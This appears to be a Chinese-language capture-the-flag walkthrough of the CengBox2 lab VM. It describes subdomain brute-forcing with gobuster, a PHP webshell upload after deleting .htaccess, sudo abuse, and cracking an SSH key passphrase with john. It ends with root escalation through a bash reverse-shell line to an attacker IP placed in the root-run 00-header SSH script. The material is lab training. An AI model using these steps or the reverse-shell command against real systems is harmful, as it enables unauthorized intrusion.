前言
CengBox2靶机渗透
目标:拿到root权限
考点:
修改hosts,子域名爆破
gobuster工具使用,字典wordlists,seclists使用
ssh私钥爆破,私钥赋权600,
渗透过程
目标IP:192.168.1.134
nmap扫描端口
1 | nmap -sS -A -Pn 192.168.1.134 |
访问21号端口,获得note.txt
1 | Hey Kevin, |
根据提示修改/etc/hosts
,使得IP地址能够指向ceng-company,vm
1 | 192.168.1.134 ceng-company.vm |
访问该地址,这里什么的都没有
扫描子域名
1 | gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --url http://ceng-company.vm |
发现子域名admin.ceng-company.vm
,然后修改hosts
扫描目录
1 | gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --url http://admin.ceng-company.vm |
登陆后到后台admin
后,kevin@ceng-company.vm:admin
登陆到后台
删除tmp
目录下的 .htaccess
,这个文件已经被我删了….但是记得这个文件会拒绝所有php文件的上传
然后写入shell
1 |
|
反弹shell
1 | curl -v "http://admin.ceng-company.vm/gila/tmp/shell.php" |
执行sudo -l
,这里表明用户swartz可以在无须密码验证的情况下使用脚本/home/swartz/runphp.sh
查看runphp.sh
,发现这是一个在swartz下运行php交互模式的脚本,运行该脚本
1 | sudo -u swartz /home/swartz/runphp.sh |
此时提权至swartz
,到mitnick
目录下会发现这里的mitnick
用户是有ssh密钥的,将mitnick
的私钥复制一份到本机上。
1 | cat id_rsa |
使用john爆破ssh密码
1 | python3 /usr/share/john/ssh2john.py test.rsa > test.hash |
爆破出密码为legend
给test.rsa
加权600,因为此时test.rsa
的权限太高了
1 | chmod 600 test.rsa |
此时提权至mitnick
查看所属组就有rwx权限的文件,因为mitnick属于developers组
1 | find / -type f -perm -g+rwx 2>/dev/null |
关于00-header
这个文件的作用是在进行ssh连接时,以root
用户运行的脚本,一般用来使得ssh更为个性化。
参考:https://cloud.tencent.com/developer/news/313453
如图可见,该文件属于为root用户所拥有,所属于developers组。
修改该文件
1 | /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.76/3333 0>&1' |
然后重新ssh连接,监听3333端口
此时提权至root
后话
这个靶机学习的地方有很多,所属组的理解,对于find命令的理解和熟练使用
后半部分find / -type f -perm -g+rwx 2>/dev/null
,该命令应该是提权过程中,很重要的一步。
果然信息收集在渗透测试中属于最重要的部分。